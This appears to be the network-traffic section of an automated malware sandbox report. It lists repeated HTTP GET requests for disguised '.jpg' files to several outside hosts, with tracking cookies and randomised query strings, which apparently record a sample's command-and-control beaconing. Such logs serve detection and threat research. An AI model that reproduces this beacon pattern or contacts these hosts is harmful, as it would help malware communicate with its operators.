Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1122b37b=1437434215 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159299|1720159259|3|11|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?11c3299b=-1612941709 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159300|1720159259|4|11|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1208a479=1210225124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159300|1720159260|3|11|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?125c9be5=924177327 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?12dacc76=1265316312 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?13a86083=-1326750565 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159303|1720159259|3|12|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?14106f9c=673242936 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159303|1720159259|3|12|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?14890695=-1538771800 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159304|1720159260|3|12|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?14e27329=1051154811 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?155951b4=716350312 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1651959c=1123336404 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159307|1720159259|3|13|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?16b3e9bb=-2009630110 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159307|1720159259|3|13|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?170da52a=1547080872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159308|1720159260|3|13|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1786b5d7=1578817372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?180330c9=1611449124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?18be425f=-973991176 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159310|1720159259|3|14|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?194bc1b3=-1324200987 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159311|1720159259|3|14|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?19b3dafe=-414010642 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159312|1720159260|3|14|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?19fa4aca=871667092 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1a87f96c=-1624254328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1b477e89=-633605048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159314|1720159259|3|15|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1bf90ddb=938613686 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159315|1720159259|3|15|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1c4eb48e=-970526750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159315|1720159260|3|15|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1c954dcc=1438640484 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1d468c2f=-1839153941 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1e16c26e=-1770927066 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159318|1720159259|3|16|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1ec6b77a=-1713269406 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159319|1720159259|3|16|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1fd1e84b=533850187 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159319|1720159260|3|16|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?20c162b1=-1547244171 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?211be604=-406631908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2373b5c6=-1915824360 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159322|1720159259|3|17|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?24e8c9b5=619235765 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159323|1720159259|3|17|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?253cedcf=1874250093 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159323|1720159260|3|17|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?26879fc4=1522834916 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?27f237dd=396330763 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?29ccf744=-1489773296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159326|1720159259|3|18|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?2bcaf743=1582807576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159326|1720159259|3|18|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2ca70649=-1098498342 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159327|1720159260|3|18|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2cfced02=1509546500 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?2e7d9d4b=1944906328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3c09d975=2014556906 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159329|1720159259|3|19|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3d14cd8b=633027043 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159330|1720159259|3|19|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3e44093b=-116382484 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159330|1720159260|3|19|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3f86f717=1002352591 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?41d7fe37=-1961888438 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?445d8e02=-561061362 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159333|1720159259|3|20|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?45cf8c26=389951640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159334|1720159259|3|20|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4666d3a0=-1073462208 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159334|1720159260|3|20|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?47518eef=-1901912610 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?494885e8=-1819495128 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4e1a4979=218554042 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159337|1720159259|3|21|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4fe5ce70=1066875328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159338|1720159259|3|21|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?50eb79ae=-222139126 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159338|1720159260|3|21|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?54bd4f7c=-29888908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?5bf62f02=667228684 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5fcee9d4=-1633131316 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159342|1720159259|4|22|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?66b9efaa=-1696088408 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159342|1720159259|3|22|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?6c8a2c8f=-1305955780 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159343|1720159260|4|22|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6e4b76cf=-594088546 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?72a457e7=1026930563 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7a6a3bf3=-187402266 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159345|1720159259|3|23|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7f8f3cd8=-14779984 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159346|1720159259|3|23|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?8644bbad=-1200973547 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159346|1720159260|3|23|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?8cd08851=-1502504717 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?908734c0=-1522004096 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9a275efc=46455532 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159349|1720159259|3|24|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?9ffb83c1=-1075505530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159350|1720159259|3|24|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a5ab2386=-2018641750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159351|1720159260|4|24|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a9db6871=-1485987388 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?adce999d=316119470 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bbd2b314=-1424130204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159354|1720159259|4|25|0
